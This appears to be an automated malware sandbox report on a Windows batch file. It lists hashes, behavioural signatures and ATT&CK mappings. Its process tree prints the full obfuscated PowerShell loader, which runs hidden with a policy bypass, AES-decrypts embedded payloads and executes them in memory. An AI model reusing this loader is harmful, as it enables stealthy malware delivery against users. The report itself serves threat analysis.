6f6d8b52f73e7de40ca70f74c1694ee57d9ff8b232ac00982c25f05db8dea39a

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
13/10/2024, 17:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

borded.bat
Size

292KB
MD5

758e9341b9f8217cdb5b0085321d65f7
SHA1

704a2713704861618c153ccbb19847dcb0cdc5ce
SHA256

6f6d8b52f73e7de40ca70f74c1694ee57d9ff8b232ac00982c25f05db8dea39a
SHA512

bca661e49102b89a9c4de60db129472c87346a3bebf831fa847bfefa68896bbe07555c29b2573fa2bee378cd769015d56e1044cb5749d9baedd4f4398f6702a1
SSDEEP

6144:qZztTwoXBISDEO5PvFvC0oFQFTUQKtUlDKtlxRO8Ld8ecYS:qZzt7hDHZtq0oFcUQkzxRO8p0D

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe

Deletes itself 1 IoCs

pid	Process
1704	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 2104	1704	cmd.exe	31
PID 1704 wrote to memory of 2104	1704	cmd.exe	31
PID 1704 wrote to memory of 2104	1704	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\borded.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ueAWR8PVJfD3DBWmyPJ4kswoS1OvTopyFQBQ9orAyoM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t0bOAX8n/tcDkfMsJHDdpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lOoFA=New-Object System.IO.MemoryStream(,$param_var); $PWXpD=New-Object System.IO.MemoryStream; $bNXzl=New-Object System.IO.Compression.GZipStream($lOoFA, [IO.Compression.CompressionMode]::Decompress); $bNXzl.CopyTo($PWXpD); $bNXzl.Dispose(); $lOoFA.Dispose(); $PWXpD.Dispose(); $PWXpD.ToArray();}function execute_function($param_var,$param2_var){ $PeMYH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MWRZU=$PeMYH.EntryPoint; $MWRZU.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\borded.bat';$aNAUl=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\borded.bat').Split([Environment]::NewLine);foreach ($nviWS in $aNAUl) { if ($nviWS.StartsWith(':: ')) { $Lhexm=$nviWS.Substring(3); break; }}$payloads_var=[string[]]$Lhexm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2104-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

Filesize
4KB

Download
memory/2104-5-0x000000001B800000-0x000000001BAE2000-memory.dmp

Filesize
2.9MB

Download
memory/2104-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2104-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download